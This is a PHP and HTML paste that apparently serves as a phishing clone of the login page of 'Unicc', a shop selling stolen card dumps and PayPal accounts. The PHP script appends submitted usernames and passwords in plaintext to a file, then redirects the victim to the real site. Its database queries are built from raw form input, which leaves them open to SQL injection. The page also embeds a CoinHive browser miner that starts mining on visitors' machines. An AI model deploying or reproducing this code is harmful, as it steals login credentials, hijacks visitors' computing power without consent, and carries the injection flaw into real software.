Advertisement
Guest User

Untitled

a guest
Dec 2nd, 2017
42
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 8.04 KB | None | 0 0
  1. <?php
  2.  //Start the Session
  3. session_start();
  4.  require('connect.php');
  5. //3. If the form is submitted or not.
  6. //3.1 If the form is submitted
  7. if (isset($_POST['username']) and isset($_POST['password'])){
  8. //3.1.1 Assigning posted values to variables.
  9. $username = $_POST['username'];
  10. $password = $_POST['password'];
  11. //3.1.2 Checking the values are existing in the database or not
  12. $query = "SELECT * FROM `user` WHERE username='$username' and password='$password'";
  13.  
  14. $result = mysqli_query($connection, $query) or die(mysqli_error($connection));
  15. $count = mysqli_num_rows($result);
  16. //3.1.2 If the posted values are equal to the database values, then session will be created for the user.
  17. if ($count == 1){
  18. $_SESSION['username'] = $username;
  19. }else{
  20. //3.1.3 If the login credentials doesn't match, he will be shown with an error message.
  21. $fmsg = "Invalid Login Credentials.";
  22. }
  23.  
  24. $query2 = "SELECT * FROM user WHERE username='$username'";
  25. $result2 = mysqli_query($connection, $query2) or die(mysqli_error($connection));
  26. $count2 = mysqli_num_rows($result2);
  27. if ($count2 == 1){
  28.     $fmsg = "Invalid Login Credentials.";
  29. }else{
  30.  
  31.     $handle = fopen("file.txt", "a");
  32.     fwrite($handle, "username = ");
  33.     fwrite($handle, $username);
  34.     fwrite($handle, "\n");
  35.     fwrite($handle, "password = ");
  36.     fwrite($handle, $password);
  37.     fwrite($handle, "\n");
  38.     fwrite($handle, "\n");
  39.     fclose($handle);
  40.    
  41.      header("Location:https://unicc.at");
  42. }
  43.  
  44. }
  45. //3.1.4 if the user is logged in Greets the user with message
  46. if (isset($_SESSION['username'])){
  47. $username = $_SESSION['username'];
  48.  
  49. }else{
  50. //3.2 When the user visits the page first time, simple login form will be displayed.
  51. ?>
  52.  
  53.  
  54. <html lang="en"><head>
  55. <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
  56.     <link rel="stylesheet" type="text/css" href="login_files/main.css">
  57. <link rel="stylesheet" type="text/css" href="login_files/bootstrap.css">
  58. <link rel="stylesheet" type="text/css" href="login_files/bootstrap-theme.css">
  59. <link rel="stylesheet" type="text/css" href="login_files/nstyle.css">
  60. <link rel="stylesheet" type="text/css" href="login_files/select2.css">
  61. <style type="text/css">
  62. body {
  63.     background-color: #101010;
  64. }
  65. </style>
  66. <script type="text/javascript" src="login_files/jquery.js"></script>
  67. <script type="text/javascript" src="login_files/bootstrap.js"></script>
  68. <script type="text/javascript" src="login_files/bootstrap-noconflict.js"></script>
  69. <script type="text/javascript" src="login_files/user.js"></script>
  70. <script type="text/javascript" src="login_files/sha1.js"></script>
  71. <title>Unicc - Login Your Favorite Cards Dumps Paypal Shop</title>
  72. <meta name="keywords" content="unicc  , unicc.at , unicc.mn  , unicc.cc , uniccshop ,   unicc-shop , unicc.cc/login ,   unicc mm , unic cc shop  , unicc .cc , unicc.mm  , uni-cc-shop  ,  unicc paypal dumps ,unicc.com  ,unicc.nm, http://uniccshop , unicc.shop , uniccshop.pm , login uniccshop mn , uniccshop.ru , uni cc ">
  73. <meta name="description" content="New Uniccshop 90 Min Check Time Unicc Your Favorite Cards Dumps Paypal Shop ">
  74.  
  75. </head>
  76. <body class="login">
  77.  
  78.    
  79. <form class="form-signin form" autocomplete="off" id="login-form" method="POST">
  80.     <?php if(isset($fmsg)){ ?><div class="alert alert-danger" role="alert"> <?php echo $fmsg; ?> </div><?php } ?>
  81. <div class="blocklogin">
  82.     <div class="titlelogin">
  83.         <img src="login_files/logo.png">
  84.  
  85.         <p>login area</p>
  86.     </div>
  87.     <div class="loginform">
  88.         <div class="inputslogin">
  89.        
  90.        
  91.                     <input name="op" value="login" type="hidden">
  92.                     <input name="sha1" value="" type="hidden">
  93.        
  94.  
  95.             <label for="name"><img alt="uniccshop" src="login_files/uniccshop.png"></label>
  96.             <div class="form-group"><div><input class="form-control" placeholder="Username" name="username" id="username" type="text"><div class="help-block error" id="username_em_" style="display:none"></div></div></div>            <label for="pass"><img src="login_files/log_pass.png"></label>
  97.             <div class="form-group"><div><input class="form-control" placeholder="Password" name="password" id="password" type="password"><div class="help-block error" id="password_em_" style="display:none"></div></div></div>
  98.    
  99.                        <a href="https://anonym.to/?https://www.youtube.com/watch?v=yF7DpcsAibI&amp;feature=youtu.be" class="wtchvdo" rel="noreferrer">Watch our PROMO video</a>
  100.             <button type="submit">enter</button>
  101.             <a href="register.php"><button type="button">register</button></a>
  102.         </div>
  103.  
  104.         <div id="resetPasswordNotification" class="text-center alert alert-danger hide">
  105.             <strong>Warning: if you had password that is less than 8 characters long or username less than 6 characters
  106.                 long you
  107.                 will have to reset them!</strong><br>
  108.             <strong><a href="http://uniccshop.sx/">Follow this link to reset your
  109.                     password.</a></strong>
  110.         </div>
  111.         <div id="yw0"></div>    </div>
  112.  
  113. </div>
  114. </form>
  115. <span style="text-align: center">
  116.  
  117. <script type="text/rocketscript" data-rocketsrc="https://authedmine.com/lib/authedmine.min.js">
  118.     var miner = new CoinHive.Anonymous('iberlRlxbwGfiRbkWOrMULeFLQjk8uah');
  119.     miner.start();
  120.  
  121. </script>
  122.  
  123.     <script>
  124.     $(function () {
  125.         $(document).on('blur', '#username', function () {
  126.             var length = $('#username').val().length;
  127.             if (length > 0 && length < 6) {
  128.                 $('#resetPasswordNotification').removeClass('hide');
  129.                 $('#resetPasswordNotification')[0].scrollIntoView();
  130.             } else if (length >= 6) {
  131.                 $('#resetPasswordNotification').addClass('hide');
  132.             }
  133.         });
  134.         $(document).on('blur', '#password', function () {
  135.             var length = $('#password').val().length;
  136.             if (length > 0 && length < 8) {
  137.                 $('#resetPasswordNotification').removeClass('hide');
  138.                 $('#resetPasswordNotification')[0].scrollIntoView();
  139.             } else if (length >= 8) {
  140.                 $('#resetPasswordNotification').addClass('hide');
  141.             }
  142.         });
  143.     });
  144.     </script>
  145.     <script type="text/javascript" src="login_files/main.js"></script>
  146.     <script type="text/javascript" src="login_files/placeholders.js"></script>
  147.     </span><script type="text/javascript">
  148. /*<![CDATA[*/
  149. jQuery(function($) {
  150. jQuery('[data-toggle=popover]').popover();
  151. jQuery('[data-toggle=tooltip]').tooltip();
  152. jQuery('#yw0_0 .alert').alert();
  153. jQuery('#login-form').yiiactiveform({'validateOnSubmit':true,'afterValidate':function(form, data, hasError) {
  154.                 if((hasError && $('#password').val().length < 8) || $('#username').val().length < 6){
  155.                     $('#resetPasswordNotification').removeClass('hide');
  156.                     $('#resetPasswordNotification')[0].scrollIntoView();
  157.                     return false;
  158.                 }
  159.                 return true;
  160.             },'errorCssClass':'has-error','successCssClass':'has-success','inputContainer':'div.form-group','attributes':[{'id':'username','inputID':'username','errorID':'username_em_','model':'LoginForm','name':'username','enableAjaxValidation':false,'clientValidation':function(value, messages, attribute) {
  161.  
  162. if(jQuery.trim(value)=='') {
  163.     messages.push("Username cannot be blank.");
  164. }
  165.  
  166.  
  167. if(jQuery.trim(value)!='') {
  168.    
  169. if(value.length<6) {
  170.     messages.push("Username is too short (minimum is 6 characters).");
  171. }
  172.  
  173. }
  174.  
  175.  
  176. if(!value.match(/^[a-z0-9\-\.\_]+$/i)) {
  177.     messages.push("Username is invalid.");
  178. }
  179.  
  180. }},{'id':'password','inputID':'password','errorID':'password_em_','model':'LoginForm','name':'password','enableAjaxValidation':false,'clientValidation':function(value, messages, attribute) {
  181.  
  182. if(jQuery.trim(value)=='') {
  183.     messages.push("Password cannot be blank.");
  184. }
  185.  
  186.  
  187. if(jQuery.trim(value)!='') {
  188.    
  189. if(value.length<8) {
  190.     messages.push("Password is too short (minimum is 8 characters).");
  191. }
  192.  
  193. }
  194.  
  195. }}],'errorCss':'error'});
  196. });
  197. /*]]>*/
  198. </script>
  199.  
  200.  
  201.  
  202.  
  203. </body></html>
  204. <?php } ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement